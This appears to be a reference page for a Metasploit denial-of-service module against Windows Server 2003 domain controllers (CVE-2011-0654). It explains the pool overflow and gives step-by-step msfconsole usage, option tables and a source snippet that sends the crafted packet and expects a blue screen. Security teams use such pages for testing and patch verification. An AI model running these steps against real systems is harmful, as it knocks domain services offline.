Microsoft Windows Browser Pool DoS - Metasploit
This page contains detailed information about how to use the auxiliary/dos/windows/smb/ms11_019_electbowser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Windows Browser Pool DoS
Module: auxiliary/dos/windows/smb/ms11_019_electbowser
Source code: modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
Disclosure date: -
Last modification time: 2021-02-26 10:13:11 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 138
List of CVEs: CVE-2011-0654
This module exploits a denial of service flaw in the Microsoft Windows SMB service on versions of Windows Server 2003 that have been configured as a domain controller. By sending a specially crafted election request, an attacker can cause a pool overflow. The vulnerability appears to be due to an error handling a length value while calculating the amount of memory to copy to a buffer. When there are zero bytes left in the buffer, the length value is improperly decremented and an integer underflow occurs. The resulting value is used in several calculations and is then passed as the length value to an inline memcpy operation. Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and causes considerable damage to kernel heap memory. While theoretically possible, it does not appear to be trivial to turn this vulnerability into remote (or even local) code execution.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/windows/smb/ms11_019_electbowser
msf auxiliary(ms11_019_electbowser) > show targets
... a list of targets ...
msf auxiliary(ms11_019_electbowser) > set TARGET target-id
msf auxiliary(ms11_019_electbowser) > show options
... show and set options ...
msf auxiliary(ms11_019_electbowser) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
DOMAIN: The name of the domain that the target controls
Go back to menu.
Msfconsole Usage
Here is how the dos/windows/smb/ms11_019_electbowser auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/windows/smb/ms11_019_electbowser
msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show info
Name: Microsoft Windows Browser Pool DoS
Module: auxiliary/dos/windows/smb/ms11_019_electbowser
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Cupidon-3005
jduck <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN yes The name of the domain that the target controls
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 138 yes The target port (UDP)
Description:
This module exploits a denial of service flaw in the Microsoft
Windows SMB service on versions of Windows Server 2003 that have
been configured as a domain controller. By sending a specially
crafted election request, an attacker can cause a pool overflow. The
vulnerability appears to be due to an error handling a length value
while calculating the amount of memory to copy to a buffer. When
there are zero bytes left in the buffer, the length value is
improperly decremented and an integer underflow occurs. The
resulting value is used in several calculations and is then passed
as the length value to an inline memcpy operation. Unfortunately,
the length value appears to be fixed at -2 (0xfffffffe) and causes
considerable damage to kernel heap memory. While theoretically
possible, it does not appear to be trivial to turn this
vulnerability into remote (or even local) code execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-0654
http://www.securityfocus.com/bid/46360
OSVDB (70881)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2011/MS11-019
https://www.exploit-db.com/exploits/16166
https://seclists.org/fulldisclosure/2011/Feb/285
Module Options
This is a complete list of options available in the dos/windows/smb/ms11_019_electbowser auxiliary module:
msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show options
Module options (auxiliary/dos/windows/smb/ms11_019_electbowser):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN yes The name of the domain that the target controls
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 138 yes The target port (UDP)
Advanced Options
Here is a complete list of advanced options supported by the dos/windows/smb/ms11_019_electbowser auxiliary module:
msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show advanced
Module advanced options (auxiliary/dos/windows/smb/ms11_019_electbowser):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/windows/smb/ms11_019_electbowser module can do:
msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/windows/smb/ms11_019_electbowser auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target should encounter a blue screen error now.
Here is a relevant code snippet related to the "The target should encounter a blue screen error now." error message:
99:
100: print_status("Sending specially crafted browser election request..")
101: #print_status("\n" + Rex::Text.to_hex_dump(nbdgs))
102: udp_sock.put(nbdgs)
103:
104: print_status("The target should encounter a blue screen error now.")
105:
106: disconnect_udp
107:
108: end
109:
Go back to menu.
Related Pull Requests
- #14815 Merged Pull Request: replace ::Rex::Socket.gethostbyname with Socket.getaddrinfo
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4768 Merged Pull Request: Reorganize SMB mixins
- #3362 Merged Pull Request: Aux modules don't respect Rank anyway
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #958 Merged Pull Request: Msftidy 2
- #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references
References
- CVE-2011-0654
- BID-46360
- OSVDB (70881)
- MS11-019
- EDB-16166
- https://seclists.org/fulldisclosure/2011/Feb/285
See Also
Check also the following modules related to this module:
- auxiliary/dos/windows/smb/ms05_047_pnp
- auxiliary/dos/windows/smb/ms06_035_mailslot
- auxiliary/dos/windows/smb/ms06_063_trans
- auxiliary/dos/windows/smb/ms09_001_write
- auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh
- auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
- auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
- auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow
- auxiliary/dos/windows/smb/rras_vls_null_deref
- auxiliary/dos/windows/smb/vista_negotiate_stop
- auxiliary/dos/windows/llmnr/ms11_030_dnsapi
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/scanner/rdp/cve_2019_0708_bluekeep
- exploit/windows/browser/ms11_003_ie_css_import
- exploit/windows/browser/ms11_050_mshtml_cobjectelement
- exploit/windows/browser/ms11_081_option
- exploit/windows/browser/ms11_093_ole32
- exploit/windows/fileformat/ms11_006_createsizeddibsection
- exploit/windows/fileformat/ms11_021_xlb_bof
- exploit/windows/local/ms11_080_afdjoinleaf
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/multi/http/cisco_dcnm_upload_2019
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Authors
- Cupidon-3005
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.